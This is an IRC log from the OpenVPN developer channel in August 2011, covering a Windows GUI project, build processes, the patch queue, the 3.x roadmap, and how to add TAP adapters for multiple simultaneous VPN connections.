14:39 <@raidz> *if 14:39 <@raidz> gotcha 14:39 <@uuuppz> yeh if you were gonna include it in th official release 14:39 <@uuuppz> I'd definitely say so 14:39 <@uuuppz> thats default on vista 14:39 <@raidz> thats just me though and I haaaate dependencies :-D 14:39 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Quit: Leaving] 14:40 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 14:40 -!- mode/#openvpn-devel [+v krzie] by ChanServ 14:41 <@raidz> uuuppz: will you have proxy support in this ui, or do you already by chance? 14:41 <@uuuppz> no proxy support yet 14:42 <@uuuppz> cos I don't real 14:42 <@uuuppz> bah 14:42 <@uuuppz> cos I don't have a real understanding of how it works, never used it. 14:42 <@uuuppz> same for smart card stuff 14:42 <@raidz> gotcha 14:42 <@uuuppz> fyi 14:42 <@uuuppz> I am also considering adding a command line interface 14:43 <@uuuppz> e.g something that can be run from cmd.exe 14:43 <@uuuppz> as it is split into a host service 14:43 <@raidz> niceee 14:43 <@uuuppz> and the client 14:43 <@uuuppz> so its also theoretcially possiblew 14:43 <@uuuppz> for someone to rework the existing ui 14:43 <@uuuppz> to talk to my service 14:43 <@uuuppz> if you wanted to retain a lesser UI for old clients 14:44 <@raidz> right 14:45 <@uuuppz> oh and the original reason I did my own gui 14:45 <@uuuppz> is so that the UI doesn't have to run with admin privilages 14:45 <@uuuppz> since it is talking over a named pipe to the background service (which does) 14:53 <@uuuppz> actually raidz, is you vm joined to a domain? 15:08 <@raidz> nope 15:08 <@raidz> uuuppz: ^^ 16:09 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 19:06 -!- uuuppz [~uuuppz@213.79.53.61] has quit [Ping timeout: 260 seconds] 19:40 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 250 seconds] 19:48 -!- Irssi: #openvpn-devel: Total of 13 nicks [7 ops, 0 halfops, 1 voices, 5 normal] 19:48 <+ecrist> just when i start liking reiffert, he goes and corrects me. 20:36 <+ecrist> ping mattock 20:36 <+ecrist> probably sleeping, fucker 21:31 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 21:31 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Wed Aug 24 2011 00:18 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 258 seconds] 00:52 -!- dazo_afk is now known as dazo 01:35 <@mattock> ecrist: correct, though not anymore 01:38 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 01:38 -!- mode/#openvpn-devel [+v krzee] by ChanServ 02:00 -!- uuuppz [~uuuppz@213.79.53.61] has joined #openvpn-devel 02:00 -!- mode/#openvpn-devel [+o uuuppz] by ChanServ 03:04 -!- uuuppz [~uuuppz@213.79.53.61] has quit [Ping timeout: 258 seconds] 03:22 -!- dazo is now known as dazo_afk 03:52 <@d12fk> mattock: thanks for the .tr, but what's with "You can use it quietness."? 03:52 <@mattock> d12fk: beats me :D 03:52 <@mattock> although, I can ask, just in case 03:53 <@mattock> good catch, I just ignored it 03:53 <@d12fk> i can do that if you let me 03:55 <@mattock> mail sent 03:55 <@mattock> was too fast :) 04:04 -!- dazo_afk is now known as dazo 04:08 <@cron2_> dazo: so how's your branch integration project going? 04:15 <@dazo> cron2_: very slowly :) 04:27 * cron2_ sends some motivational ice-cream over 04:31 <@dazo> :) 04:32 <@dazo> Going look at my task list right now ... I sense I'm waiting for some people to prepare some stuff for me ... which can mean: OpenVPN hacking time :-P 04:32 <@cron2_> cool :) 04:41 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 05:36 <@d12fk> mattock: excellent thanks 05:36 <@mattock> d12fk: np 06:08 * dazo loves 'git log --grep' 06:15 -!- uuuppz [~uuuppz@213.79.53.61] has joined #openvpn-devel 06:15 -!- mode/#openvpn-devel [+o uuuppz] by ChanServ 06:18 -!- d12fk [~heiko@port-92-198-130-130.static.qsc.de] has quit [Remote host closed the connection] 06:46 -!- d12fk [~heiko@2001:1a80:2000:2:21f:c6ff:fe44:aec8] has joined #openvpn-devel 06:46 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 07:16 <@dazo> cron2_: master branches are getting updated now ... pulled in james' latest stuff in addition (after the merge conflict) 07:16 <@vpnHelper> RSS Update - testtrac: "status" management interface command (version >= 2) will now <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=ca18a638aa7cf316611f893127ba44131e57083c> || CC_PRINT character class now allows any 8-bit character value >= 32. <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=2627335ac2605d0987a68ce97a0a2c4efbe25159> || Fixed 07:17 <@cron2_> great :-) 07:22 <@dazo> cron2_: I see I missed one extra patch from you, applying that now ... I thought that came in with James' updates, but didn't 07:29 <@vpnHelper> RSS Update - testtrac: For all accesses to "struct route_list * rl", check first that rl is non-NULL <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=f0257abb14423de5ee24444360fbb474555ef3cf> 07:40 <@cron2_> dazo: james included only the "route-gateway block" patch, I think, but for his case the other one is not needed (no v6 in that code base) 07:42 <@dazo> yeah, that's what I noticed 07:59 <@vpnHelper> RSS Update - testtrac: remove function is_proto_tcp() <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=834eba7597e2582c44f69e03a762b838308c8df0> || add .gitignore to official repository <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=98054a0744d1e228341cf2d8e1b1f9f2650c2775> 08:04 <@vpnHelper> RSS Update - testtrac: Merged TODO.IPv6 with TODO.ipv6 and README.IPv6 with README.ipv6 <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=c1f25b6644efaa74c069c20d9a008e1786209a88> 08:05 * dazo runs out for some errands 10:03 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 10:15 <@vpnHelper> RSS Update - testtrac: Skip rather than fail test in addressless FreeBSD jails. <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=3f1745666bac31458b33f09c888769cc8c1c829b> || remove legacy code to query IE proxy information <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=186baf0db65b3ce4a9d83db2fea3cc2797e04d75> 10:52 <@cron2_> huh 10:52 <@cron2_> fun things in the patch queue :) 10:53 <@dazo> yeah, I'm taking the easy patches now :) 10:54 <@dazo> there are some more which has a dependency graph I haven't had time to dig into yet :) 10:57 <@dazo> mattock: can you please point me at your winbuild patches again when you get time ... I think I'm missing something ... 11:20 <@uuuppz> just out of interest 11:20 <@uuuppz> how are the windows builds done? 11:31 <@dazo> uuuppz: https://community.openvpn.net/openvpn/wiki/BuildingOnWindows 11:31 <@vpnHelper> Title: BuildingOnWindows – OpenVPN Community (at community.openvpn.net) 11:32 <@dazo> uuuppz: mattock has (involuntarily) become our Windows build master ... it's based upon scripts which James uses in his internal build farm, when preparing Access Server stuff 11:47 <@andj> dazo: nice work, saw lots of patches go through :) 11:57 <@d12fk> uuuppz: it can also be built using the mingw gcc, I'm doing it that way 11:58 <@dazo> andj: thx! ... right now, I'm just catching up on the queue :) ... some of your stuff will go in when I've got the needed winbuild fixes in 12:34 <@andj> No rush, looking forward to doing another sprint tomorrow 13:05 <@uuuppz> l n 13:05 <@uuuppz> sry cat 13:06 <@uuuppz> all builds are done with ming32 13:06 <@uuuppz> or is the release done with VC++? 13:09 <@uuuppz> dazo: Who is James, appart from me? 13:18 <@dazo> uuuppz: James Yonan, the guy who started all this shit :-P 13:18 <@uuuppz> ah well makes sense James is a good name ;) 13:19 <@uuuppz> been thinking 13:19 <@dazo> Now all releases are done with VC++ ... earlier it was mingw32 13:19 <@uuuppz> ok so the code compiles with vc++ 13:20 <@uuuppz> ok 13:20 <@uuuppz> features I'd like - and in time would be willing to help with:- 13:21 <@uuuppz> 1) I want to be able to do firewall rules, client config etc from authtoken/cert thumb - like you want for your plugin. 13:22 <@uuuppz> 2) I'd like configuration of the client to be pushed from server where possible and not in client config - makes updating deployments much easier. 13:22 <@uuuppz> 3) I want to bind more than one interface on same config 13:24 <@uuuppz> 4) I want to be able to have delayed authentication - e.g you can connect and get basic network connectivity with one set of firewall rules. But "elivate" your connection by entering an username and password, which would apply settings as in 1 and 2. This would allow the vpn to come up and get dns access but access to resources be protected until authentication. 13:24 <@dazo> 1) will probably always depend on a third-party plug-in, due to not a unified firewall config API 13:24 <@dazo> 2) that's being discussed as part of OpenVPN 3 13:24 <@dazo> 3) that requires a massive re-write of socket.c, which is planned for OpenVPN 3 as well 13:26 <@uuuppz> 5) code restructed so client could be loaded as a dll by my service host rather than being a process ;) 13:26 <@dazo> 4) would require the username/password authentication process to be rewritten ... now that's done pretty close to the SSL authentication, so that data is gathered before connection is established ... it would require the OpenVPN wire-protocol to be slightly changed as well, to allow this kind of delayed auth 13:26 <@uuuppz> 4 is a little left field 13:27 <@uuuppz> but we have a requirement for this 13:27 <@uuuppz> atm I run vpns on top of vpns 13:27 <@uuuppz> to get around this issue 13:28 <@uuuppz> hm maybe I could just reconnect ;) 13:28 <@dazo> 4) will anyway probably not arrive in the 2.x series ... that sounds like 3.x stuff as well 13:30 <@uuuppz> 3.x is rewrite or just restructure? 13:32 <@dazo> it's a major overhaul ... we will use the 2.x releases to clean up the code base, and modularise it as much as possible ... and then 3.x will come as a much more modular framework of "independent" modules, which can more easily be swapped out 13:32 <@uuuppz> ok cool 13:33 <@uuuppz> thats what I like :) 13:33 <@dazo> https://community.openvpn.net/openvpn/wiki/RoadMap 13:33 <@vpnHelper> Title: RoadMap – OpenVPN Community (at community.openvpn.net) 13:34 <@uuuppz> ok well u may get some help from me, but I have to implement a new tax and work out how to index all the holes in the roads for Ireland by xmas 13:34 <@uuuppz> so not sure how much time I will have ;) 13:34 <@dazo> we're not starting developing 3.x yet ... it's still too early, we need to see more stuff being cleaned up in 2.x first 13:35 <@uuuppz> fyi if you have problems with having a win32 build agent 13:36 <@uuuppz> I can probably help out in a month or so 13:36 <@dazo> good to know 13:36 <@uuuppz> we're struggling by on dsl lines atm so its not an option 13:36 <@uuuppz> but putting fibre to the office 13:36 <@uuuppz> once thats done 13:38 * dazo calls this a day 13:38 -!- dazo is now known as dazo_afk 14:09 <@uuuppz> roadmap is interesting 14:10 <@uuuppz> I think rewrite 14:13 <@uuuppz> ish 16:37 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn-devel [] 17:00 -!- novaflash [novaflash@openvpn/user/novaflash] has joined #openvpn-devel 17:01 <@raidz> novaflash: uuuppz is the guys you are looking for 17:01 < novaflash> hey uuuppz, raidz sent me a link to your project on sourceforge - openvpn ui 17:01 < novaflash> ah yes, thanks 17:01 < novaflash> i'm thinking of using it on computers for my clients but they're all dutch. are you interested in a translation to dutch? 17:02 < novaflash> (i can translate english <> dutch) 17:03 <@raidz> uuuppz: novaflash is referring to the openvpn ui you are working on 17:03 -!- uuuppz [~uuuppz@213.79.53.61] has quit [Ping timeout: 276 seconds] 17:04 <@raidz> lol, too late I guess 17:04 < novaflash> haaa haha 17:04 <@raidz> Just hang in here till he shows up again 17:04 < novaflash> perhaps he'll - -yeah 17:05 < novaflash> maybe my suggestion was so egostroking he fell off his chair and kicked the network cable out of his pc. 17:05 <@raidz> haha 17:52 -!- novaflash [novaflash@openvpn/user/novaflash] has quit [Ping timeout: 245 seconds] 18:08 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Quit: EvilJStoker is gone :(] 19:47 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel --- Day changed Thu Aug 25 2011 00:04 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 01:06 -!- uuuppz [~uuuppz@213.79.53.61] has joined #openvpn-devel 01:06 -!- mode/#openvpn-devel [+o uuuppz] by ChanServ 01:48 -!- dazo_afk is now known as dazo 02:40 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 252 seconds] 03:08 -!- novaflash [~notme@openvpn/user/novaflash] has joined #openvpn-devel 03:08 < novaflash> hey uuuppz, raidz sent me a link to your project on sourceforge - openvpn ui 03:08 < novaflash> i'm thinking of using it on computers for my clients but they're all dutch. are you interested in a translation to dutch? 03:08 < novaflash> (i can translate english <> dutch) 03:10 < novaflash> i should probably ask this again when you're awake, probably 1am where you are now, heh. 03:14 <@d12fk> novaflash: is it dutch, .net or the service that you need? 03:15 <@d12fk> cause openvpn-gui is in dutch already and my service ptaches to openvpn are coming soon. it's a win32 api program though 03:16 <@d12fk> ireland shoud be 9:16am right now btw =) 04:54 < novaflash> ah i assumed he was in the us for some reason ;) 04:55 < novaflash> and what i need is for the program to display things in dutch 04:55 < novaflash> 'Verbinden' instead of 'Connect' and such 04:56 < novaflash> i like the ui that uuuppz created more than the openvpn gui i've seen on openvpn.se ;) 05:02 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:02 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 05:02 <@mattock_> meeting today? 05:02 < novaflash> oh hey mattock 05:02 < novaflash> i'm just here to bug uuuppz. 05:06 <@mattock_> novaflash: carry on ;) 05:06 < novaflash> well i guess i'll just first have to wait for him to show up ;) 05:07 <@mattock_> i'll try arranging the customary developer meeting for today 05:07 <@mattock_> if enough devs can attend 05:07 < novaflash> in other words; putting round pegs in square blocks and calculating pi to the last digit. 05:19 <@mattock_> nope, it usually 8-sided pegs to round holes, and only upto 10 digits 05:22 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving] 05:38 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 06:07 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn-devel [] 06:12 <@d12fk> novaflash: i'm not talking about the gui on openvpn.se, I was referring to http://sourceforge.net/projects/openvpn-gui/ 06:12 <@vpnHelper> Title: OpenVPN GUI | Download OpenVPN GUI software for free at SourceForge.net (at sourceforge.net) 06:13 <@dazo> novaflash: the openvpn.se stuff is outdated and not maintained .... d12fk has done a tremendous job reworking that old stuff into something more useful and matching better today's OpenVPN 06:14 < novaflash> nice 06:14 < novaflash> question though; does it handle multiple connections concurrently? 06:14 < novaflash> from one client to multiple DIFFERENT servers 06:14 <@d12fk> btw any volunteer to update the openvpn.se page? I can access the page and can upload updates 06:14 <@d12fk> novaflash: yes 06:15 <@d12fk> you just need enough adapters 06:16 < novaflash> are they added automatically? 06:16 <@d12fk> is there a way for that to be done automatically? 06:17 < novaflash> not sure. in linux it's done automatically afaik. 06:17 <@d12fk> dazo: any input on this? 06:22 < novaflash> i will try various client software packages in vm's in the weekend, see what it does 06:23 < novaflash> what i'm looking for a is gui client in win32 that can handle multiple connections (different servers) and is in dutch. 06:24 <@dazo> d12fk: what is the question? updating the web page or automation? and if automation: automate what? 06:24 <@d12fk> I'll do another snapshot, the latest one is from march... =) 06:24 <@d12fk> dazo: creation of additional tap adapters on windows 06:26 <@dazo> I don't know exactly ... but there is this "Add TAP adapter" script, which does that creation ... on Windows, I don't think this can be done automagically 06:26 <@d12fk> it probably could be done 06:26 < novaflash> hm. how complicated is it to manually add adapters? go through device manager and add one each time? will the vpn client pick up on this and use the available adapters automatically? so many questions. ;) 06:27 <@dazo> novaflash: double click on a script file 06:27 < novaflash> the script file could be automated then 06:27 * d12fk sees another work item approaching 06:27 <@d12fk> tapinstall ist distributed illegally anyways 06:27 <@d12fk> not that ms would care much i guess 06:28 <@dazo> d12fk: according to james, that "tap creator" binary which the script uses, is allowed by MS ... but they asks users to not use the devcon(?) make on the binary 06:29 <@dazo> d12fk: but that code could probably be implemented into the Windows parts of the openvpn code ... and be done more transparent 06:29 <@dazo> and then support 'openvpn --mktun --dev {tun|tap}' as in *nix 06:29 <@d12fk> since windows users are a huge part of the userbase things could be more friendly there 06:29 <@dazo> to generate static tun/tap devices 06:30 <@dazo> d12fk: but I believe most Windows users only have one VPN connection at the time anyway :-P 06:30 <@d12fk> that's the general use case i guess yeah 06:30 <@dazo> :) 06:31 <@dazo> jokes aside, I agree ... the behaviour could be done more closer to other platforms 06:32 <@d12fk> i'll at least put a link onto .se that points the sf.net 06:32 <@dazo> however, will Windows behave nicely if tun/tap adapters are created/destroyed on the fly ... for some users, it might be doing that more times a day 06:32 <@dazo> Windows does all that crazy registry stuff on each NIC 06:33 <@d12fk> maybe a create on on demand option will do 06:33 <@d12fk> and that one sticks there then 06:33 <@dazo> yeah, that might be safer .... it could also create a new one automatically, if there are none available ... and just leave it there afterwards and reuse it later on 06:34 <@d12fk> lets see what beta testers say first 06:34 <@dazo> yeah :) 06:34 <@d12fk> i can't imagine that to be a problem with all the hotplug devs nowadays 06:35 <@dazo> good point ... unless we need to redefine the tun/tap adapter somehow to be a hotplug-device 06:35 <@d12fk> well there are usb netdevs 06:36 <@dazo> yeah, but if they have some flags telling the Windows kernel it's a hotplug device (which USB, firewire, bluetooth devices, etc are) 06:37 <@d12fk> that would be a bad architecture wouldn't it? =) 06:38 <@dazo> I've never claimed that Windows has a good architecture, have I? ;-) 06:38 <@d12fk> but I practically know nothing about the windows kernel 06:39 <@dazo> I guess James knows quite something about this, having written that driver ... so he might shed some light on that 06:39 <@d12fk> dazo: as a rh employee you're paid not to be objective =P 06:39 <@dazo> lol ... very true :) 06:49 <@uuuppz> someone said my name... 06:53 < novaflash> that would be me 06:53 <@uuuppz> wots up? 06:53 < novaflash> wow i have to read up on stuff that's been said here 06:53 < novaflash> anyways 06:53 < novaflash> hi 06:53 < novaflash> raidz showed me a screenshot of your openvpn ui 06:53 < novaflash> it looks good and i was wondering if i could use it 06:53 < novaflash> i want it in dutch ;) 06:54 < novaflash> some of my clients need openvpn client software that connects to multiple openvpn servers at the same time 06:54 <@uuuppz> well I put it up on sourceforge under gpl3, so yes you can probably use it 06:54 <@uuuppz> but since I don't speak dutch and have absolutely no intention on learning it 06:54 <@uuuppz> its in english 06:54 < novaflash> obviously ;) 06:54 < novaflash> i'm a native dutch speaker so i'd be able to translate it 06:54 < novaflash> i was just wondering if you'd be interested in having a dutch translation of the program 06:55 < novaflash> i'm not sure if your program is the best vpn client, i'm still gathering intel 06:55 <@uuuppz> in principal that sounds like a good idea 06:55 <@uuuppz> but I didn't yet do things correctly and put the strings into a resource file 06:55 < novaflash> but what i need is an openvpn client that can handle multiple connections with the least amount of hassle and the least amount of installation steps and with a good view of the connections that your openvpn ui seems to give. 06:56 < novaflash> alright, so translation is hard work the way the program is set up now 06:56 <@uuuppz> to be honest not a big change 06:57 <@uuuppz> but still requires work from me or someone 06:57 < novaflash> fortunately there are only few strings to translate - things like "Verbinden" instead of "Connect" and "Geef uw gebruikersnaam en wachtwoord op" instead of "Enter your username and password" and such. 06:57 <@uuuppz> yeh 06:57 <@uuuppz> I was gonna say the number strings wouldn't be huge 06:57 <@uuuppz> I'd like to think its the best client for windows in terms of UI 06:57 < novaflash> from what i've seen so far i must agree 06:58 <@uuuppz> and multiple connections is just a matter of haivng the config files 06:58 <@uuuppz> but 06:58 <@uuuppz> since its a seperate installer 06:58 <@uuuppz> and very fresh 06:58 <@uuuppz> it's gonna be more problematic to deploy 06:58 <@uuuppz> that the stock release of openvpn 06:58 <@uuuppz> imo 06:59 <@uuuppz> and ecrist has had a problem installing the latest version which hasn't yet been resolved 06:59 < novaflash> right, so it's not yet a completely tested product 06:59 <@uuuppz> its got 24 downloads on the current version 06:59 <@uuuppz> so no :) 07:00 < novaflash> you say you only need the config files to do the multiple connections thing - you mean your version will add TAP devices as needed? 07:00 <@uuuppz> no 07:00 < novaflash> ah. 07:00 <@uuuppz> just so you understand 07:00 <@uuuppz> my gui acts as a replacement to the shipped gui in openvpn 07:00 <@uuuppz> and requires the standard configuration as per the standard gui 07:00 <@uuuppz> so to deploy 07:00 <@uuuppz> install openvpn 07:01 <@uuuppz> configure as normally 07:01 <@uuuppz> install my gui 07:01 <@uuuppz> then off you go 07:01 < novaflash> i see. i was hoping your ui would have the added advantage of adding TAP devices as needed for each additional simultaneous connection that is made. 07:01 <@uuuppz> don't really see the big issue..... 07:02 <@uuuppz> you still need to ship config files 07:02 <@uuuppz> and deal with certs/keys 07:02 <@uuuppz> adding an extra tap device during config 07:02 <@uuuppz> isn't a big deal is it? 07:03 < novaflash> i'm a noob to openvpn clients, sorry. 07:03 < novaflash> the config files are generated by openvpn access server so that part is easy 07:03 <@d12fk> just uploaded the latest snapshot 07:03 <@d12fk> http://sourceforge.net/projects/openvpn-gui/files/Snapshot%20Binaries/openvpn-gui-20110825135803.exe/download 07:03 <@vpnHelper> Title: Download OpenVPN GUI from SourceForge.net (at sourceforge.net) 07:04 <@d12fk> including polish and turkish =) 07:04 < novaflash> nice. 07:05 < novaflash> thing is this; openvpn access server makes the certs/keys very easy. it gives you a nice .ovpn file that when loaded into an openvpn client makes the connection just work. openvpn access server connect client and desktop client do not do multiple SIMULTANEOUS connections. so i need a way to get this working. the openvpn gui can handle multiple connections but in order to actually connect 07:05 < novaflash> multiple SIMULTANEOUS connections i need to manually add TAP devices? 07:06 <@uuuppz> well your talking about access server which is the commercial product, I have no experience with this....... 07:06 < novaflash> forget abotu access server then 07:06 <@uuuppz> but on community addition you have a short cut to add another tap device 07:06 < novaflash> i have a .ovpn file and it's properly configured 07:06 < novaflash> ahhh i see 07:06 < novaflash> so if i use that to add the TAP device 07:06 < novaflash> and then use your gui to get a nice overview of connections 07:07 < novaflash> i should be set, right? 07:07 <@uuuppz> yeh 07:07 < novaflash> wonderful. 07:07 <@uuuppz> install community edition tho 07:07 <@uuuppz> get your connection working in that 07:07 <@uuuppz> and then install mine 07:07 < novaflash> yes, well, i was going to ditch the openvpn access server clients anyways, they're too limited 07:07 < novaflash> so the community edition it is then 07:08 < novaflash> i'll look into the gui that d12fk just posted and into the gui that you have on sourceforge, uuuppz. 07:08 < novaflash> thanks for the information :) 07:10 <@uuuppz> np 07:12 <@d12fk> mattock: is there a meeting nonight 07:13 <@d12fk> uuuppz: do you have screenshot of your ui? 07:13 <@uuuppz> lol no 07:13 <@uuuppz> raidz posted one 07:14 <@d12fk> must have misse dit then 07:14 <@d12fk> hit prnt scrn for me once then please. really interested what it looks like 07:15 < novaflash> http://zd.raidz.net/?view=./screens/screenshot95.png 07:15 <@vpnHelper> Title: zd.raidz.net - [http://zd.raidz.net/] (at zd.raidz.net) 07:15 < novaflash> http://zd.raidz.net/?view=./screens/screenshot96.png 07:15 <@vpnHelper> Title: zd.raidz.net - [http://zd.raidz.net/] (at zd.raidz.net) 07:17 <@d12fk> novaflash: thanks 07:18 < novaflash> yw 07:18 <@uuuppz> thanks :) 07:19 <@dazo> novaflash: you can embed all certificates into the .ovpn files directly ... using <ca>, <cert> and <key> tags 07:20 <@dazo> that's basically what the AS server does with the config files, if I've understood things correctly 07:21 < novaflash> dazo; yup. i use openvpn access server exactly for that purpose 07:21 < novaflash> so i can download a simple .ovpn file with everyhting configured 07:21 <@mattock> d12fk: not sure, I asked about it above 07:21 < novaflash> and i just load that into an openvpn client. on linux this is no problem - even multiple connections simultaneously. 07:22 <@mattock> who _could_ attend a meeting today? 07:22 <@dazo> novaflash: you just need to have a little script which does this templating for you then 07:22 <@mattock> andj, dazo, d12fk, cron2_? 07:22 <@dazo> mattock: I have time from UTC 18:00-19:00 07:22 <@mattock> dazo: ok, good 07:23 <@mattock> I'm thinking about andj's patches, but that requires his presence, too :) 07:23 -!- d12fk [~heiko@2001:1a80:2000:2:21f:c6ff:fe44:aec8] has quit [Write error: Broken pipe] 07:23 < novaflash> dazo; what do you mean exactly? 07:24 <@dazo> mattock: I've been catching up on the patch queue again, so if we can look (again, I'm sorry) at the winbuild fixes ... I'll try to squeeze them in to have that killed once and for all 07:24 <@mattock> dazo: oh yes, I'll point you to the winbuild patches 07:25 <@dazo> novaflash: ./gen-config.sh johndoe.crt myca.crt johndoe.key tlsauth.ta > JohnDoe.ovpn 07:26 < novaflash> dazo; thanks for the script, but,... yeah. i don't need that, i think. what i need is an openvpn client that takes multiple .ovpn files and can do multiple simultaneous connections to multiple different servers and show a gui like the one uuuppz has made to allow me to connect to one or multiple at will. 07:27 < novaflash> goddamnit phone brb 07:31 < novaflash> back. okay so anyways, i know this is possible now - i've just learned how - but to do this i'll need to manually add tap devices or use the community version and use the menus there to add more tap devices, and then it should be possible. 07:32 < novaflash> i just wish there was a client that took care of the multiple TAP devices as needed, or that the openvpn server would take care of the multiple TAP devices as needed, like it does in the linux version. 07:32 < novaflash> as i've just learned this apparently (?) does not yet exist. 07:33 -!- d12fk [~heiko@2001:1a80:2000:2:21f:c6ff:fe44:aec8] has joined #openvpn-devel 07:34 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 07:35 <@dazo> novaflash: openvpn itself can run simultaneously on all platforms, providing connection to multiple VPNs. What is the hurdle on Windows is that devices must be pre-generated. The Windows installer makes one device upon installation, and more can be added via the configure script ... and then there is the GUI, and I don't know how the latest stuff from d12fk works there, regarding multiple simultaneously connections 07:36 < novaflash> perhaps d12fk can answer that :) 07:36 <@d12fk> well that worked with the old gui already 07:36 < novaflash> and yes the hurdle in windows is indeed the adding of devices. 07:37 <@dazo> d12fk: multiple connections running at the same time? 07:37 < novaflash> now i'm okay with setting up a post-installation script that adds the extra TAP devices in windows - for example a total of 5 of them so i can run 5 connections simultaneously 07:37 <@d12fk> you could have a preconnect script that calls the .bet file to add one and the the diconnect script to remove it again 07:37 < novaflash> really? 07:37 <@dazo> my thoughts exactly 07:38 <@dazo> d12fk: except that the "remove script" removes *all* TAP devices IIRC 07:38 < novaflash> oh balls ;) 07:39 < novaflash> guess what i just did ;) 07:39 <@d12fk> that's suboptimal =) 07:39 <@d12fk> you can easily readd them 07:40 <@d12fk> hm i guess this should be approached 07:40 <@d12fk> any takers? 07:40 <@mattock> dazo: you got all the patches somewhere in the mailbox? 07:40 <@mattock> do you want links (to SF.net/Gmane) or just the mail header names? 07:44 <@mattock> or should I forward the actual patches to you 07:46 <@dazo> mattock: Gmane pointers and/or subjects should be enough ... and if I can't find them, then I'll ping for new patches again (but I doubt I've deleted them, though) 07:46 <@mattock> ok, I'll push them to you privately 07:47 <@dazo> mattock: if you have them added in a git branch ... then a 'git shortlog testing/master..HEAD' should do the trick for me 07:47 <@mattock> btw. got Fedora 15 (i386+amd64) VMs running and configured on newer kvm 07:47 <@mattock> running on Debian Squeeze 07:47 <@mattock> ok, I'll try that 07:47 <@dazo> (presuming you are in the working branch) 07:51 <@uuuppz> dazo: I have been using the old gui for about 2 years with multiple connections - its not entirely pretty but it works very well 07:51 <@dazo> ahh cool! I wasn't aware of that :) 07:51 <@uuuppz> I was actually completely happy with it 07:52 <@uuuppz> except it needs to run as admin 07:52 <@uuuppz> so I made my own 07:52 <@uuuppz> then you can blame ecrist :) 07:52 <@dazo> yeah, the admin stuff annoys everyone :) 07:52 <@uuuppz> he didn't like my initial attempt at the ui 07:52 <@uuuppz> so I improved it :) 07:52 * dazo prefers to blame krzee first 07:52 <@dazo> ahh :) 07:57 <@uuuppz> btw 07:57 <@uuuppz> was looking at the roadmap 07:57 <@uuuppz> I think its the right direcion 07:58 <@uuuppz> but I wouldn't go too far in modularisation 07:58 <@uuuppz> that can create more problems than it solves 07:59 <@uuuppz> imo 07:59 <@mattock> dazo: this _may_ have slipped below our radar: http://sourceforge.net/mailarchive/message.php?msg_id=27735129 07:59 <@vpnHelper> Title: SourceForge.net: OpenVPN: (at sourceforge.net) 07:59 <@uuuppz> theres a choice to be made 08:00 <@dazo> uuuppz: well, it's a roadmap, just showing direction ... we might reduce it somewhat when it comes to real life programming ... but it's not necessarily going to be dynamic loadable modules ... but clearly defined modules which are enabled on compile time. In that perspective, that modularity level isn't too bad 08:00 <@uuuppz> is openvpn an enterprise vpn solution or a swiss army knife for getting through firewalls 08:01 <@uuuppz> as an enterprise choice scares me 08:01 <@uuuppz> I think this point gets lost in the oss world sometimes 08:01 <@dazo> James would like openvpn to be more a generic user space network framework ... where encryption and packet mangling are some important parts 08:02 <@uuuppz> james is a sharehold in openvpn inc right? 08:02 <@dazo> and having a solid framework, can cover the enterprise level better ... easier to review what openvpn does (in the enterprise version) ... while the swiss-army knife is bloated with extra modules 08:02 <@uuuppz> surely his interest is in making an enterprise solution ;) 08:02 <@dazo> he is the co-founder of OpenVPN Tech. 08:02 <@uuuppz> thats what I assumed :) 08:03 <@dazo> mattock: correct! ... I remember it ... and I see it didn't get the "patch flag" in my mail client 08:04 <@uuuppz> dazo: The risk is that it will become a complicated user mode network framework, and then someone will come along and do exactly what openvpn did originally. Provide a really simple solution to getting vpns up and running 08:04 <@uuuppz> I installed it originally 08:04 <@uuuppz> as it just bloody worked! 08:05 <@uuuppz> imo 08:05 <@uuuppz> the core function of openvpn are kinda simple 08:06 <@dazo> uuuppz: but that depends on how this modularisation is done ... but today's code base is a big mess ... so making things more modular gives a chance of a needed cleanup, plus making it more generic for even more special situation approaches - without requiring massive hacks to make it in todays code 08:06 <@dazo> today people rather choose to write all from scratch instead 08:07 <@uuuppz> yeh 08:07 <@uuuppz> I having to stop myself doing that 08:07 <@uuuppz> :P 08:07 <@uuuppz> obviously this is far more interesting than the pile of real work I have! 08:08 < novaflash> ;) 08:08 <@dazo> hehe 08:08 * dazo has had a bad working morale today as well 08:08 <@uuuppz> ah 08:09 <@uuuppz> if I did some real work 08:09 <@uuuppz> I'd not be able to talk to the ppl I am atm 08:09 <@uuuppz> so thats my excuse 08:09 